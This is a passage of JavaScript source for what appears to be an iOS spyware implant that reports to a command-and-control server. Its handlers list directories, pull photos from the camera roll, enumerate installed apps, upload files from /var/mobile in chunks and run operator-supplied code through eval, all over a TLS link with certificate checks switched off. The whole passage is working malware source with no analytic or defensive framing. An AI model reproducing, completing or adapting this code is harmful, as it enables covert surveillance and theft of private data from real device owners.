_getGlobalCFSafe(\"kCFStreamSocketSecurityLevelNegotiatedSSL\");\n\n\t\t\tif (kLevel && kNeg) {\n\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kLevel, kNeg);\n\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kLevel, kNeg);\n\t\t\t}\n\n\t\t\tvar kSSL = _getGlobalCFSafe(\"kCFStreamPropertySSLSettings\");\n\t\t\tvar kValCert = _getGlobalCFSafe(\"kCFStreamSSLValidatesCertificateChain\");\n\t\t\tvar kFalse = _getGlobalCF(\"kCFBooleanFalse\");\n\t\t\tvar kKeyCB = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, \"kCFTypeDictionaryKeyCallBacks\");\n\t\t\tvar kValCB = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, \"kCFTypeDictionaryValueCallBacks\");\n\n\t\t\tif (kSSL && kValCert && kFalse && kKeyCB && kValCB) {\n\t\t\t\tvar dict = Native.callSymbol(\"CFDictionaryCreateMutable\",\n\t\t\t\t\t0n, 2, BigInt(kKeyCB), BigInt(kValCB));\n\t\t\t\tif (dict && dict !== 0n) {\n\t\t\t\t\tNative.callSymbol(\"CFDictionarySetValue\", dict, kValCert, kFalse);\n\t\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", dict);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tNative.callSymbol(\"CFWriteStreamOpen\", ws);\n\t\t\tNative.callSymbol(\"CFReadStreamOpen\", rs);\n\n\t\t\tvar ready = false;\n\t\t\tfor (var wi = 0; wi < 80; wi++) {\n\t\t\t\tvar st = Number(Native.callSymbol(\"CFWriteStreamGetStatus\", ws));\n\t\t\t\tif (st === 2) { ready = true; break; }\n\t\t\t\tif (st >= 5) break;\n\t\t\t\tNative.callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t\tif (!ready) return null;\n\n\t\t\tvar hdr = \"POST \" + path + \" HTTP/1.0\\r\\nHost: \" + host +\n\t\t\t\t\"\\r\\nContent-Type: application/json\" +\n\t\t\t\t\"\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\" +\n\t\t\t\t\"\\r\\nContent-Length: \" + bodyStr.length + \"\\r\\n\\r\\n\";\n\t\t\tvar fullReq = hdr + bodyStr;\n\t\t\tvar reqBuf = Native.callSymbol(\"malloc\", fullReq.length + 1);\n\t\t\tNative.writeString(reqBuf, fullReq);\n\n\t\t\tvar totalSent = 0;\n\t\t\twhile (totalSent < fullReq.length) {\n\t\t\t\tvar nw = Number(Native.callSymbol(\"CFWriteStreamWrite\",\n\t\t\t\t\tws, BigInt(reqBuf) + BigInt(totalSent),\n\t\t\t\t\tfullReq.length - totalSent));\n\t\t\t\tif (nw <= 0) break;\n\t\t\t\ttotalSent += nw;\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", BigInt(reqBuf));\n\t\t\tif (totalSent < fullReq.length) return null;\n\n\t\t\tvar respBuf = Native.callSymbol(\"malloc\", 65536);\n\t\t\tvar result = \"\";\n\t\t\tfor (var ri = 0; ri < 50; ri++) {\n\t\t\t\tvar br = Number(Native.callSymbol(\"CFReadStreamRead\",\n\t\t\t\t\trs, BigInt(respBuf), 65535));\n\t\t\t\tif (br <= 0) break;\n\t\t\t\tresult += Native.readString(BigInt(respBuf), br);\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", BigInt(respBuf));\n\n\t\t\tvar idx = result.indexOf(\"\\r\\n\\r\\n\");\n\t\t\tif (idx < 0) return null;\n\t\t\ttry { return JSON.parse(result.substring(idx + 4)); } catch(e) { return null; }\n\n\t\t} finally {\n\t\t\tNative.callSymbol(\"CFReadStreamClose\", rs);\n\t\t\tNative.callSymbol(\"CFWriteStreamClose\", ws);\n\t\t\tNative.callSymbol(\"CFRelease\", rs);\n\t\t\tNative.callSymbol(\"CFRelease\", ws);\n\t\t}\n\t} finally {\n\t\tif (hostCF && hostCF !== 0n) Native.callSymbol(\"CFRelease\", hostCF);\n\t\tif (rPtr && rPtr !== 0n) Native.callSymbol(\"free\", BigInt(rPtr));\n\t\tif (wPtr && wPtr !== 0n) Native.callSymbol(\"free\", BigInt(wPtr));\n\t}\n}\n\nfunction _writeLog(msg) {\n\ttry {\n\t\tvar ts = new Date().toISOString();\n\t\tvar line = \"[\" + ts + \"] \" + msg + \"\\n\";\n\t\tvar fd = Number(Native.callSymbol(\"open\", \"/tmp/c2_wallet_debug.log\", 0x209, 0x1FF));\n\t\tif (fd > 0) {\n\t\t\tvar buf = Native.callSymbol(\"malloc\", line.length + 1);\n\t\t\tNative.writeString(buf, line);\n\t\t\tNative.callSymbol(\"write\", fd, buf, line.length);\n\t\t\tNative.callSymbol(\"free\", buf);\n\t\t\tNative.callSymbol(\"close\", fd);\n\t\t}\n\t} catch(e) {}\n\ttry {\n\t\tvar u = \"\";\n\t\ttry { u = DEVICE_UUID; } catch(_u) {}\n\t\thqPost(\"/log\", { uuid: u, lhu: u, text: String(msg), source: \"c2_wallet\" });\n\t} catch(_le) {}\n}\n\n// ============================================================================\n// httpPost - dual mode (https -> CFStream TLS, http -> POSIX socket)\n// ============================================================================\n\nfunction httpPost(url, body) {\n\tconst { host, port, path } = parseURL(url);\n\tconst bodyStr = JSON.stringify(body);\n\tif (url.indexOf(\"https://\") === 0) {\n\t\treturn _cfstreamPost(host, port, path, bodyStr);\n\t}\n\treturn _socketPost(host, port, path, bodyStr);\n}\n\nfunction hqPost(endpoint, body) {\n\ttry { return httpPost(HQ_API_BASE + endpoint, body); }\n\tcatch(e) { return null; }\n}\n\n// ============================================================================\n// HQ Photo Multipart Upload\n// ============================================================================\n\nfunction _writeStr(ptr, str) {\n\tvar buf = new ArrayBuffer(str.length);\n\tvar a = new Uint8Array(buf);\n\tfor (var i = 0; i < str.length; i++) a[i] = str.charCodeAt(i);\n\tNative.write(ptr, buf);\n}\n\nfunction _cfstreamSendRaw(host, port, reqBuf, reqLen) {\n\tvar hostCF = _makeCFString(host);\n\tif (!hostCF || hostCF === 0n) return false;\n\tvar rPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar wPtr = Native.callSymbol(\"calloc\", 1, 8);\n\ttry {\n\t\tNative.callSymbol(\"CFStreamCreatePairWithSocketToHost\", 0n, hostCF, port, BigInt(rPtr), BigInt(wPtr));\n\t\tvar rs = Native.readPtr(BigInt(rPtr));\n\t\tvar ws = Native.readPtr(BigInt(wPtr));\n\t\tNative.callSymbol(\"CFRelease\", hostCF); hostCF = 0n;\n\t\tNative.callSymbol(\"free\", BigInt(rPtr)); Native.callSymbol(\"free\", BigInt(wPtr));\n\t\trPtr = 0n; wPtr = 0n;\n\t\tif (!rs || rs === 0n || !ws || ws === 0n) return false;\n\t\ttry {\n\t\t\tvar kLevel = _getGlobalCFSafe(\"kCFStreamPropertySocketSecurityLevel\");\n\t\t\tvar kNeg = _getGlobalCFSafe(\"kCFStreamSocketSecurityLevelNegotiatedSSL\");\n\t\t\tif (kLevel && kNeg) {\n\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kLevel, kNeg);\n\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kLevel, kNeg);\n\t\t\t}\n\t\t\tvar kSSL = _getGlobalCFSafe(\"kCFStreamPropertySSLSettings\");\n\t\t\tvar kValCert = _getGlobalCFSafe(\"kCFStreamSSLValidatesCertificateChain\");\n\t\t\tvar kFalse = _getGlobalCF(\"kCFBooleanFalse\");\n\t\t\tvar kKeyCB = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFTypeDictionaryKeyCallBacks\");\n\t\t\tvar kValCB = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFTypeDictionaryValueCallBacks\");\n\t\t\tif (kSSL && kValCert && kFalse && kKeyCB && kValCB) {\n\t\t\t\tvar dict = Native.callSymbol(\"CFDictionaryCreateMutable\", 0n, 2, BigInt(kKeyCB), BigInt(kValCB));\n\t\t\t\tif (dict && dict !== 0n) {\n\t\t\t\t\tNative.callSymbol(\"CFDictionarySetValue\", dict, kValCert, kFalse);\n\t\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", dict);\n\t\t\t\t}\n\t\t\t}\n\t\t\tNative.callSymbol(\"CFWriteStreamOpen\", ws);\n\t\t\tNative.callSymbol(\"CFReadStreamOpen\", rs);\n\t\t\tvar ready = false;\n\t\t\tfor (var wi = 0; wi < 80; wi++) {\n\t\t\t\tvar st = Number(Native.callSymbol(\"CFWriteStreamGetStatus\", ws));\n\t\t\t\tif (st === 2) { ready = true; break; }\n\t\t\t\tif (st >= 5) break;\n\t\t\t\tNative.callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t\tif (!ready) return false;\n\t\t\tvar totalSent = 0;\n\t\t\twhile (totalSent < reqLen) {\n\t\t\t\tvar nw = Number(Native.callSymbol(\"CFWriteStreamWrite\", ws, reqBuf + BigInt(totalSent), reqLen - totalSent));\n\t\t\t\tif (nw <= 0) break;\n\t\t\t\ttotalSent += nw;\n\t\t\t}\n\t\t\treturn totalSent >= reqLen;\n\t\t} finally {\n\t\t\tNative.callSymbol(\"CFReadStreamClose\", rs);\n\t\t\tNative.callSymbol(\"CFWriteStreamClose\", ws);\n\t\t\tNative.callSymbol(\"CFRelease\", rs);\n\t\t\tNative.callSymbol(\"CFRelease\", ws);\n\t\t}\n\t} finally {\n\t\tif (hostCF && hostCF !== 0n) Native.callSymbol(\"CFRelease\", hostCF);\n\t\tif (rPtr && rPtr !== 0n) Native.callSymbol(\"free\", BigInt(rPtr));\n\t\tif (wPtr && wPtr !== 0n) Native.callSymbol(\"free\", BigInt(wPtr));\n\t}\n}\n\nfunction _socketSendRaw(host, port, reqBuf, reqLen) {\n\tvar fd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (fd <= 0) return false;\n\ttry {\n\t\tvar tv = Native.callSymbol(\"malloc\", 16n);\n\t\tNative.write64(tv, 15n); Native.write64(tv + 8n, 0n);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1005, tv, 16);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1006, tv, 16);\n\t\tNative.callSymbol(\"free\", tv);\n\t\tvar sa = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar sab = new ArrayBuffer(16);\n\t\tvar sv = new DataView(sab);\n\t\tsv.setUint8(0, 16); sv.setUint8(1, 2);\n\t\tsv.setUint16(2, port, false);\n\t\tvar pp = host.split(\".\");\n\t\tsv.setUint8(4, parseInt(pp[0])); sv.setUint8(5, parseInt(pp[1]));\n\t\tsv.setUint8(6, parseInt(pp[2])); sv.setUint8(7, parseInt(pp[3]));\n\t\tNative.write(sa, sab);\n\t\tvar cr = Number(Native.callSymbol(\"connect\", fd, sa, 16));\n\t\tNative.callSymbol(\"free\", sa);\n\t\tif (cr !== 0) return false;\n\t\tvar totalSent = 0;\n\t\twhile (totalSent < reqLen) {\n\t\t\tvar nw = Number(Native.callSymbol(\"write\", fd, reqBuf + BigInt(totalSent), reqLen - totalSent));\n\t\t\tif (nw <= 0) break;\n\t\t\ttotalSent += nw;\n\t\t}\n\t\treturn totalSent >= reqLen;\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _hqUploadPhoto(filePath, filename, uuid, seq, md5hash) {\n\treturn false;\n\tvar useTLS = HQ_API_BASE.indexOf(\"https://\") === 0;\n\tvar p = parseURL(HQ_API_BASE + \"/p\");\n\tvar fileFd = Number(Native.callSymbol(\"open\", filePath, 0, 0));\n\tif (fileFd < 0) return false;\n\tvar fileLen = Number(Native.callSymbol(\"lseek\", fileFd, 0, 2));\n\tNative.callSymbol(\"lseek\", fileFd, 0, 0);\n\tif (fileLen <= 0 || fileLen > 5242880) {\n\t\tNative.callSymbol(\"close\", fileFd);\n\t\treturn false;\n\t}\n\tvar fileBuf = Native.callSymbol(\"malloc\", BigInt(fileLen));\n\tif (!fileBuf || fileBuf === 0n) { Native.callSymbol(\"close\", fileFd); return false; }\n\tNative.callSymbol(\"read\", fileFd, fileBuf, fileLen);\n\tNative.callSymbol(\"close\", fileFd);\n\n\tvar bnd = \"------HqBound\";\n\tvar ua = \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\";\n\tvar prefix =\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"uuid\\\"\\r\\n\\r\\n\" + uuid + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"filename\\\"\\r\\n\\r\\n\" + filename + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"seq\\\"\\r\\n\\r\\n\" + seq + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"md5\\\"\\r\\n\\r\\n\" + md5hash + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"file\\\"; filename=\\\"\" + filename + \"\\\"\\r\\nContent-Type: application/octet-stream\\r\\n\\r\\n\";\n\tvar suffix = \"\\r\\n--\" + bnd + \"--\\r\\n\";\n\tvar bodyLen = prefix.length + fileLen + suffix.length;\n\tvar hdr = \"POST /p HTTP/1.0\\r\\nHost: \" + p.host + \"\\r\\nContent-Type: multipart/form-data; boundary=\" + bnd + \"\\r\\nUser-Agent: \" + ua + \"\\r\\nContent-Length: \" + bodyLen + \"\\r\\n\\r\\n\";\n\n\tvar totalLen = hdr.length + bodyLen;\n\tvar reqBuf = Native.callSymbol(\"malloc\", BigInt(totalLen));\n\tif (!reqBuf || reqBuf === 0n) { Native.callSymbol(\"free\", fileBuf); return false; }\n\n\t_writeStr(reqBuf, hdr);\n\t_writeStr(reqBuf + BigInt(hdr.length), prefix);\n\tNative.callSymbol(\"memcpy\", reqBuf + BigInt(hdr.length + prefix.length), fileBuf, BigInt(fileLen));\n\tNative.callSymbol(\"free\", fileBuf);\n\t_writeStr(reqBuf + BigInt(hdr.length + prefix.length + fileLen), suffix);\n\n\tvar ok = useTLS\n\t\t? _cfstreamSendRaw(p.host, p.port, reqBuf, totalLen)\n\t\t: _socketSendRaw(p.host, p.port, reqBuf, totalLen);\n\tNative.callSymbol(\"free\", reqBuf);\n\treturn ok;\n}\n\n// ============================================================================\n// File & Directory Helpers\n// ============================================================================\n\nfunction readFileB64(path, maxSize) {\n\tmaxSize = maxSize || MAX_FILE_SIZE;\n\tconst fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tconst sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz <= 0 || sz > maxSize) return null;\n\t\tconst buf = Native.callSymbol(\"malloc\", BigInt(sz));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tconst nr = Number(Native.callSymbol(\"read\", fd, buf, sz));\n\t\t\tif (nr <= 0) return null;\n\t\t\treturn { b64: bytesToBase64(new Uint8Array(Native.read(buf, nr))), size: nr };\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction getFileSize(path) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return -1;\n\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tNative.callSymbol(\"close\", fd);\n\treturn sz;\n}\n\nfunction sendFileChunked(cmdId, path, filename, category, meta) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return { ok: false, error: \"open failed\", sent: 0, total: 0 };\n\ttry {\n\t\treturn _sendChunksFromFd(cmdId, fd, -1, filename, category, meta);\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _sendChunksFromFd(cmdId, fd, knownSize, filename, category, meta) {\n\tvar fileSize = knownSize > 0 ? knownSize : Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tif (knownSize <= 0) Native.callSymbol(\"lseek\", fd, 0, 0);\n\tif (fileSize <= 0) return { ok: false, error: \"empty file\", sent: 0, total: 0 };\n\n\tvar totalChunks = Math.ceil(fileSize / CHUNK_SIZE);\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(CHUNK_SIZE));\n\tif (!buf || buf === 0n) return { ok: false, error: \"malloc failed\", sent: 0, total: totalChunks };\n\tvar sentOk = 0, lastErr = \"\";\n\ttry {\n\t\tfor (var ci = 0; ci < totalChunks; ci++) {\n\t\t\tvar toRead = Math.min(CHUNK_SIZE, fileSize - ci * CHUNK_SIZE);\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) { lastErr = \"read returned \" + nr; break; }\n\t\t\tvar b64 = bytesToBase64(new Uint8Array(Native.read(buf, nr)));\n\t\t\tvar body = {\n\t\t\t\tcommand_id: cmdId, uuid: DEVICE_UUID,\n\t\t\t\tfilename: filename, data: b64,\n\t\t\t\tchunk_index: ci, total_chunks: totalChunks,\n\t\t\t\tcategory: category || \"\"\n\t\t\t};\n\t\t\tif (meta && ci === totalChunks - 1) {\n\t\t\t\tbody._exec_start_ms = meta.start_ms || 0;\n\t\t\t\tbody._exec_end_ms = meta.end_ms || 0;\n\t\t\t}\n\t\t\tvar postOk = false;\n\t\t\tfor (var retry = 0; retry < 3; retry++) {\n\t\t\t\ttry {\n\t\t\t\t\tvar r = httpPost(C2_RESULT_URL, body);\n\t\t\t\t\tif (r !== null) { postOk = true; break; }\n\t\t\t\t} catch(pe) {}\n\t\t\t\tNative.callSymbol(\"usleep\", 2000000);\n\t\t\t}\n\t\t\tif (postOk) { sentOk++; }\n\t\t\telse { lastErr = \"POST failed chunk \" + ci; break; }\n\t\t}\n\t} finally { Native.callSymbol(\"free\", buf); }\n\treturn { ok: sentOk === totalChunks, error: lastErr, sent: sentOk,\n\t\t\t total: totalChunks, fileSize: fileSize };\n}\n\nfunction listDir(path) {\n\tconst d = Native.callSymbol(\"opendir\", path);\n\tif (!d || d === 0n) return [];\n\tconst out = [];\n\tfor (;;) {\n\t\tconst ent = Native.callSymbol(\"readdir\", d);\n\t\tif (!ent || ent === 0n) break;\n\t\t// Darwin dirent: d_ino(8)+d_seekoff(8)+d_reclen(2)+d_namlen(2)+d_type(1)+d_name\n\t\tconst dtype = new Uint8Array(Native.read(ent + 20n, 1))[0];\n\t\tconst name = Native.readString(ent + 21n, 256);\n\t\tif (name === \".\" || name === \"..\") continue;\n\t\tout.push({ name: name, type: dtype === 4 ? \"dir\" : dtype === 8 ? \"file\" : \"\"+dtype });\n\t}\n\tNative.callSymbol(\"closedir\", d);\n\treturn out;\n}\n\n// ============================================================================\n// Command Handlers\n// ============================================================================\n\nfunction sendResult(cmdId, data, filename, category, meta) {\n\tconst body = { command_id: cmdId, uuid: DEVICE_UUID, filename: filename || \"result.bin\" };\n\tif (data) body.data = data;\n\tif (category) body.category = category;\n\tif (meta) {\n\t\tif (meta.start_ms) body._exec_start_ms = meta.start_ms;\n\t\tif (meta.end_ms) body._exec_end_ms = meta.end_ms;\n\t}\n\tfor (var _retry = 0; _retry < 3; _retry++) {\n\t\tvar _resp = httpPost(C2_RESULT_URL, body);\n\t\tif (_resp !== null) return;\n\t\tNative.callSymbol(\"usleep\", 2000000);\n\t}\n}\n\nfunction sendJSON(cmdId, obj, filename, meta) {\n\tconst s = JSON.stringify(obj);\n\tsendResult(cmdId, bytesToBase64(new Uint8Array(Native.stringToBytes(s, false))), filename || \"result.json\", null, meta);\n}\n\nfunction handleLs(cmd) {\n\tconst p = (cmd.params && cmd.params.path) || \"/\";\n\tsendJSON(cmd.command_id, listDir(p), \"ls_\" + p.replace(/\\//g, \"_\") + \".json\");\n}\n\nfunction handleDownload(cmd) {\n\tvar p = cmd.params && cmd.params.path;\n\tif (!p) return;\n\tvar maxSz = (cmd.params && cmd.params.max_size) || MAX_FILE_SIZE;\n\tvar sz = getFileSize(p);\n\tif (sz <= 0 || sz > maxSz) return;\n\tvar fname = p.split(\"/\").pop();\n\tif (sz <= CHUNK_SIZE) {\n\t\tvar f = readFileB64(p, maxSz);\n\t\tif (f) sendResult(cmd.command_id, f.b64, fname);\n\t} else {\n\t\tsendFileChunked(cmd.command_id, p, fname);\n\t}\n}\n\nfunction handlePhotos(cmd) {\n\tvar dcim = \"/var/mobile/Media/DCIM\";\n\tvar maxCount = (cmd.params && cmd.params.max_count) || 50;\n\tvar count = 0;\n\tvar dirs = listDir(dcim);\n\tfor (var di = 0; di < dirs.length && count < maxCount; di++) {\n\t\tif (dirs[di].type !== \"dir\") continue;\n\t\tvar sub = dcim + \"/\" + dirs[di].name;\n\t\tvar files = listDir(sub);\n\t\tfor (var fi = 0; fi < files.length && count < maxCount; fi++) {\n\t\t\tif (files[fi].type !== \"file\") continue;\n\t\t\tvar fp = sub + \"/\" + files[fi].name;\n\t\t\tvar sz = getFileSize(fp);\n\t\t\tif (sz <= 0) continue;\n\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\tvar f = readFileB64(fp);\n\t\t\t\tif (f) {\n\t\t\t\t\tsendResult(cmd.command_id, f.b64, files[fi].name, \"photos\");\n\t\t\t\t\tcount++;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tvar chunkResult = sendFileChunked(cmd.command_id, fp, files[fi].name, \"photos\");\n\t\t\t\tif (chunkResult && chunkResult.ok) count++;\n\t\t\t}\n\t\t}\n\t}\n\tsendJSON(cmd.command_id, { collected: count }, \"photos_summary.json\");\n}\n\nfunction _extractBundleId(bytes) {\n\tvar text = _rawToStr(bytes);\n\tvar xmlKey = \"MCMMetadataIdentifier\";\n\tvar ki = text.indexOf(xmlKey);\n\tif (ki >= 0) {\n\t\tvar si = text.indexOf(\"\", ki);\n\t\tif (si >= 0) {\n\t\t\tsi += 8;\n\t\t\tvar ei = text.indexOf(\"\", si);\n\t\t\tif (ei >= 0) return text.substring(si, ei);\n\t\t}\n\t}\n\tvar strings = [];\n\tvar cur = \"\";\n\tfor (var i = 0; i < bytes.length; i++) {\n\t\tif (bytes[i] >= 0x20 && bytes[i] <= 0x7E) {\n\t\t\tcur += String.fromCharCode(bytes[i]);\n\t\t} else {\n\t\t\tif (cur.length >= 3) strings.push(cur);\n\t\t\tcur = \"\";\n\t\t}\n\t}\n\tif (cur.length >= 3) strings.push(cur);\n\tvar mki = -1;\n\tfor (var j = 0; j < strings.length; j++) {\n\t\tif (strings[j] === \"MCMMetadataIdentifier\") { mki = j; break; }\n\t}\n\tvar candidates = [];\n\tfor (var j = 0; j < strings.length; j++) {\n\t\tvar s = strings[j];\n\t\tvar fi = 0;\n\t\twhile (fi < s.length && !((s.charCodeAt(fi) >= 0x41 && s.charCodeAt(fi) <= 0x5A) ||\n\t\t\t(s.charCodeAt(fi) >= 0x61 && s.charCodeAt(fi) <= 0x7A))) fi++;\n\t\tif (fi > 0) s = s.substring(fi);\n\t\tif (s.length < 5) continue;\n\t\tif (s.indexOf(\".\") < 0) continue;\n\t\tif (s.indexOf(\"MCM\") === 0) continue;\n\t\tif (s.charAt(0) === \"$\") continue;\n\t\tif (s.indexOf(\"]\") >= 0) continue;\n\t\tif (s.indexOf(\"bplist\") >= 0) continue;\n\t\tif (s.indexOf(\"apple.mobile_container\") >= 0) continue;\n\t\tif (s.indexOf(\"MobileInstallation\") >= 0) continue;\n\t\tif (s === \"com.apple.installd\") continue;\n\t\tif (s === \"com.apple.containermanagerd\") continue;\n\t\tif (s === \"com.apple.lsd\") continue;\n\t\tcandidates.push({ s: s, i: j });\n\t}\n\tif (candidates.length === 0) return \"\";\n\tif (candidates.length === 1) return candidates[0].s;\n\tif (mki >= 0) {\n\t\tvar best = candidates[0];\n\t\tvar bd = Math.abs(candidates[0].i - mki);\n\t\tfor (var k = 1; k < candidates.length; k++) {\n\t\t\tvar d = Math.abs(candidates[k].i - mki);\n\t\t\tif (d < bd) { bd = d; best = candidates[k]; }\n\t\t}\n\t\treturn best.s;\n\t}\n\treturn candidates[0].s;\n}\n\nfunction handleApps(cmd) {\n\tconst base = \"/var/mobile/Containers/Data/Application\";\n\tconst dirs = listDir(base);\n\tconst apps = [];\n\tfor (let i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tconst meta = base + \"/\" + dirs[i].name + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tconst ok = Number(Native.callSymbol(\"access\", meta, 0)) === 0;\n\t\tvar bundleId = \"\";\n\t\tif (ok) {\n\t\t\tvar bytes = _readFileBytes(meta, 8192);\n\t\t\tif (bytes && bytes.length > 0) bundleId = _extractBundleId(bytes);\n\t\t}\n\t\tapps.push({ uuid: dirs[i].name, bundleId: bundleId, hasMetadata: ok });\n\t}\n\tsendJSON(cmd.command_id, apps, \"app_list.json\");\n}\n\nfunction handleExec(cmd) {\n\tvar p = cmd.params || {};\n\tvar code = p.code;\n\tvar startMs = Date.now();\n\tif (!code) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"empty code\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\ttry {\n\t\tvar r = eval(code);\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"success\",\n\t\t\tresult: String(r !== undefined ? r : \"\"),\n\t\t\texecution_time: (Date.now() - startMs) / 1000,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t} catch (e) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\",\n\t\t\terror: String(e),\n\t\t\texecution_time: (Date.now() - startMs) / 1000,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t}\n}\n\n// ============================================================================\n// file_upload: scan directories, filter files, upload matching ones in chunks\n// ============================================================================\n\nfunction _scanDir(base, files, recurse, excludes, filterMode, exts, maxSz) {\n\tvar items = listDir(base);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar full = base + \"/\" + items[i].name;\n\t\tif (items[i].type === \"dir\") {\n\t\t\tif (!recurse) continue;\n\t\t\tvar skip = false;\n\t\t\tfor (var e = 0; e < excludes.length; e++) {\n\t\t\t\tif (full === excludes[e]) { skip = true; break; }\n\t\t\t}\n\t\t\tif (!skip) _scanDir(full, files, recurse, excludes, filterMode, exts, maxSz);\n\t\t} else if (items[i].type === \"file\") {\n\t\t\tif (maxSz > 0) {\n\t\t\t\tvar fd = Number(Native.callSymbol(\"open\", full, 0, 0));\n\t\t\t\tif (fd >= 0) {\n\t\t\t\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\t\t\t\tNative.callSymbol(\"close\", fd);\n\t\t\t\t\tif (sz > maxSz) continue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (filterMode === \"include\" && exts.length > 0) {\n\t\t\t\tvar dot = items[i].name.lastIndexOf(\".\");\n\t\t\t\tif (dot < 0) continue;\n\t\t\t\tvar ext = items[i].name.substring(dot).toLowerCase();\n\t\t\t\tvar found = false;\n\t\t\t\tfor (var x = 0; x < exts.length; x++) {\n\t\t\t\t\tif (exts[x].toLowerCase() === ext) { found = true; break; }\n\t\t\t\t}\n\t\t\t\tif (!found) continue;\n\t\t\t} else if (filterMode === \"exclude\" && exts.length > 0) {\n\t\t\t\tvar dot2 = items[i].name.lastIndexOf(\".\");\n\t\t\t\tif (dot2 >= 0) {\n\t\t\t\t\tvar ext2 = items[i].name.substring(dot2).toLowerCase();\n\t\t\t\t\tvar blocked = false;\n\t\t\t\t\tfor (var x2 = 0; x2 < exts.length; x2++) {\n\t\t\t\t\t\tif (exts[x2].toLowerCase() === ext2) { blocked = true; break; }\n\t\t\t\t\t}\n\t\t\t\t\tif (blocked) continue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tfiles.push(full);\n\t\t}\n\t}\n}\n\nfunction handleFileUpload(cmd) {\n\tvar p = cmd.params || {};\n\tvar paths = p.upload_paths || [\"/var/mobile\"];\n\tvar filterMode = p.filter_mode || \"none\";\n\tvar extStr = p.file_extensions || \"\";\n\tvar exts = extStr ? extStr.split(\",\") : [];\n\tvar recurse = (p.include_subdirs !== false);\n\tvar excludes = p.exclude_dirs || [];\n\tvar maxMB = p.max_file_size_mb;\n\tvar maxSz = (maxMB && maxMB > 0) ? maxMB * 1024 * 1024 : 0;\n\n\tvar files = [];\n\tfor (var pi = 0; pi < paths.length; pi++) {\n\t\t_scanDir(paths[pi], files, recurse, excludes, filterMode, exts, maxSz);\n\t}\n\n\tvar uploaded = 0;\n\tfor (var fi = 0; fi < files.length; fi++) {\n\t\tvar fname = files[fi].replace(/\\//g, \"_\");\n\t\tif (fname.charAt(0) === \"_\") fname = fname.substring(1);\n\t\tvar sz = getFileSize(files[fi]);\n\t\tif (sz <= 0) continue;\n\t\tif (sz <= CHUNK_SIZE) 